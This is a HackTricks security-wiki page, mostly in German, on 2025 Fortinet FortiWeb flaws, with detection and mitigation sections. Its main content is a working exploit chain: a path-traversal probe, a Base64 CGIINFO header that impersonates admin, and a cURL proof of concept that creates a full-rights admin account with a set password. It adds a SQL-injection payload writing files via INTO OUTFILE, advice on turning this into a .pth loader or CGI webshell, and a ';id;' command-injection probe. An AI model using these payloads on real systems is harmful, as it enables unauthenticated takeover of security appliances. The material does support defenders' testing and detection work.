Fortinet FortiWeb — Auth bypass via API-prefix traversal and CGIINFO impersonation
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Überblick
Fortinet FortiWeb stellt einen zentralisierten CGI-Dispatcher unter /cgi-bin/fwbcgi bereit. Eine Zwei-Bug-Kette ermöglicht einem nicht authentifizierten entfernten Angreifer:
- Erreichen von
fwbcgi, indem die URL mit einem gültigen API prefix beginnt und Verzeichnisse traversiert werden. - Sich als beliebiger Benutzer auszugeben (einschließlich des eingebauten
admin), indem ein spezieller HTTP-Header bereitgestellt wird, dem das CGI die Identität entnimmt.
Vendor advisory: FG‑IR‑25‑910 (CVE‑2025‑64446). Ausnutzungen wurden in der Praxis beobachtet, um persistente Admin-Benutzer anzulegen.
Betroffene Versionen (laut öffentlich dokumentierten Angaben):
- 8.0 < 8.0.2
- 7.6 < 7.6.5
- 7.4 < 7.4.10
- 7.2 < 7.2.12
- 7.0 < 7.0.12
- 6.4 ≤ 6.4.3
- 6.3 ≤ 6.3.23
FortiWeb 8.0.2 gibt HTTP 403 für die untenstehende traversal probe zurück.
Schnelle Schwachstellenprüfung
- Path traversal from API prefix to
fwbcgi:
GET /api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi HTTP/1.1
Host: <target>
- Interpretation: HTTP 200 → wahrscheinlich verwundbar; HTTP 403 → gepatcht.
Ursachenkette
- API-prefix path traversal to internal CGI
- Jeder Request-Pfad, der mit einem gültigen FortiWeb API-Prefix beginnt (z. B.
/api/v2.0/cmdb/oder/api/v2.0/cmd/), kann mittels../nach/cgi-bin/fwbcgitraversieren.
- Minimal-body validation bypass
- Sobald
fwbcgierreicht ist, führt ein erstes Gate eine permissive JSON-Prüfung durch, die durch eine pro-Pfad-Datei unter/var/log/inputcheck/gesteuert wird. Ist die Datei nicht vorhanden, besteht die Prüfung sofort. Wenn sie vorhanden ist, muss der Body nur gültiges JSON sein. Verwende{}als minimal zulässigen Body.
- Header-driven user impersonation
- Das Programm liest die CGI-Umgebungsvariable
HTTP_CGIINFO(abgeleitet vom HTTP-HeaderCGIINFO), dekodiert sie Base64, parst JSON und kopiert Attribute direkt in den Login-Kontext, wobei die Domain/VDOM gesetzt wird. Relevante Keys: username,loginname,vdom,profname- Beispiel-JSON, um den built-in admin zu impersonieren:
{
"username": "admin",
"profname": "prof_admin",
"vdom": "root",
"loginname": "admin"
}
Base64 des Obigen (wie sie in freier Wildbahn verwendet wird):
eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb20iOiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ==
End-to-end-Missbrauchsmuster (unauthenticated → admin)
- Erreiche
/cgi-bin/fwbcgivia an API-prefix traversal. - Gib einen beliebigen gültigen JSON-Body (z. B.
{}) an, um die Eingabeprüfung zu bestehen. - Sende den Header
CGIINFO: <base64(json)>, wobei das JSON die Zielidentität definiert. - POSTe das vom
fwbcgierwartete Backend-JSON, um privilegierte Aktionen auszuführen (z. B. einen admin-Benutzer zur Persistenz anzulegen).
Minimaler cURL PoC
- Traversal-Exposure prüfen:
curl -ik 'https://<host>/api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi'
- Als admin ausgeben und einen neuen local admin user erstellen:
# Base64(JSON) for admin impersonation
B64='eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb20iOiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ=='
curl -ik \
-H "CGIINFO: $B64" \
-H 'Content-Type: application/json' \
-X POST \
--data '{"data":{"name":"watchTowr","access-profile":"prof_admin","access-profile_val":"0","trusthostv4":"0.0.0.0/0","trusthostv6":"::/0","type":"local-user","type_val":"0","password":"P@ssw0rd!"}}' \
'https://<host>/api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi'
Hinweise:
- Jede gültige JSON-Body genügt (z. B.
{}), falls/var/log/inputcheck/<path>.jsonnicht existiert. - Das Action-Schema ist FortiWeb-intern; das obige Beispiel fügt einen lokalen Admin mit vollen Rechten hinzu.
Weitere FortiWeb-2025-Schwachstellen, die schnell geprüft werden sollten
Pre-auth Fabric Connector SQLi → RCE (CVE-2025-25257)
- Betrifft 7.6.0–7.6.3, 7.4.0–7.4.7, 7.2.0–7.2.10, 7.0.0–7.0.10. Behoben in 7.6.4 / 7.4.8 / 7.2.11 / 7.0.11.
- Fehler:
get_fabric_user_by_token()verwendet denAuthorization: Bearer <token>-Wert direkt in einer SQL-Abfrage. Der Angreifer liefert SQL, das als MySQL-Benutzer ausgeführt wird und Dateien perSELECT ... INTO OUTFILEablegen kann, was zur Codeausführung (webshell/.pth-Loader) führt. - Typische Angriffsfläche:
/api/fabric/device/status(und andere Fabric Connector-Endpunkte) über HTTP/HTTPS auf der Management-Ebene. - Schneller Test für SQLi:
curl -sk -X POST \
-H "Authorization: Bearer ' UNION SELECT NULL,NULL,NULL,NULL INTO OUTFILE '/data/var/tmp/pwn.txt' -- -" \
https://<host>/api/fabric/device/status
- Weaponisierung: schreibe eine
.pthin FortiWeb’s Python site-packages, die beim Interpreter-Startos;os.system(...)importiert, oder lege ein CGI unter dem Webroot ab. Ein Neuladen der Services führt die Payload aus. - Hunting-Indikatoren: Authorization-Header, die quotes/UNION/SELECT enthalten; unerwartete Dateien unter
/data/lib/python*/site-packages/oder/data/var/waf/html/ROOT/cgi-bin/.
FortiCloud SSO signature bypass (CVE-2025-59719)
- Eine fehlerhafte SAML-Signaturprüfung ermöglicht es einem Angreifer, FortiCloud SSO-Antworten zu fälschen und sich ohne Anmeldeinformationen als admin einzuloggen.
- Nur ausnutzbar, wenn FortiCloud SSO login aktiviert ist (wird automatisch aktiviert, wenn das Appliance über die GUI registriert wurde, sofern das Kontrollkästchen nicht deaktiviert wurde).
- Betroffen (laut PSIRT): 8.0.0, 7.6.0–7.6.4, 7.4.0–7.4.9. Behoben in 8.0.1 / 7.6.5 / 7.4.10.
OS command injection in management plane (CVE-2025-58034)
- Betroffen: 7.0.0–7.0.11, 7.2.0–7.2.11, 7.4.0–7.4.10, 7.6.0–7.6.5, 8.0.0–8.0.1. Behoben in 7.0.12 / 7.2.12 / 7.4.11 / 7.6.6 / 8.0.2.
- Praktische Probe (nicht-destruktiv): sende einen Parameter, der
;id;enthält, an Management-HTTP-Endpunkte und achte auf 500-Antworten mit Befehlsausgabe; sofort blockieren oder patchen, wenn irgendeine Echoausgabe gesehen wird.
Detection
- Anfragen, die
/cgi-bin/fwbcgierreichen über API-Prefix-Pfade, die../enthalten (z. B./api/v2.0/cmdb/.../../../../../../cgi-bin/fwbcgi). - Vorhandensein des Headers
CGIINFOmit Base64-kodiertem JSON, das die Schlüsselusername/loginname/vdom/profnameenthält. - Fabric Connector SQLi: Authorization-Header, die SQL-Metazeichen enthalten, plötzlich auftauchende Dateien in Python site-packages/CGI-Verzeichnissen, Zugriffe auf
/api/fabric/device/statusvon Internet-IP-Adressen. - FortiCloud SSO: unerwartete SAML-Issuer oder Audience-Werte in
/var/log/ssod. - Backend-Artefakte:
- Pfadspezifische Dateien unter
/var/log/inputcheck/(gate configuration). - Unerwartete Admin-Erstellungen und Konfigurationsänderungen.
- Schnelle Validierung: die Traversal-Prüfung liefert 200 (exposed) vs 403 (in gepatchten Builds geblockt).
Mitigation
- Auf die behobenen Releases aktualisieren (Beispiele: 8.0.2, 7.6.5, 7.4.10, 7.2.12, 7.0.12) gemäß dem Herstellerhinweis.
- Die anderen 2025-Schwachstellen patchen: SQLi (7.6.4/7.4.8/7.2.11/7.0.11), SSO bypass (8.0.1/7.6.5/7.4.10), command injection (7.6.6/7.4.11/7.2.12/7.0.12/8.0.2).
- Bis zum Patch:
- FortiWeb Management-Plane nicht untrusted/netzwerkfremden Netzwerken aussetzen.
- Reverse-Proxy/WAF-Regeln hinzufügen, um zu blockieren:
- Pfade, die mit
/api/beginnen und../cgi-bin/fwbcgienthalten. - Anfragen mit einem
CGIINFO-Header. - Fabric Connector-Aufrufe mit SQL-Metazeichen im
Authorization-Header. - SAML-Endpunkte aus dem Internet sperren/nicht erreichbar machen, wenn FortiCloud SSO nicht genutzt wird.
- Die oben genannten Erkennungsindikatoren überwachen und Alarme auslösen.
References
- When the impersonation function gets used to impersonate users — Fortinet FortiWeb auth bypass (watchTowr Labs)
- watchTowr vs FortiWeb Auth Bypass — Detection artefact generator
- CVE-2025-25257 — Fabric Connector pre-auth SQLi PoC
- FortiCloud SSO signature bypass overview (CVE-2025-59719)
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.


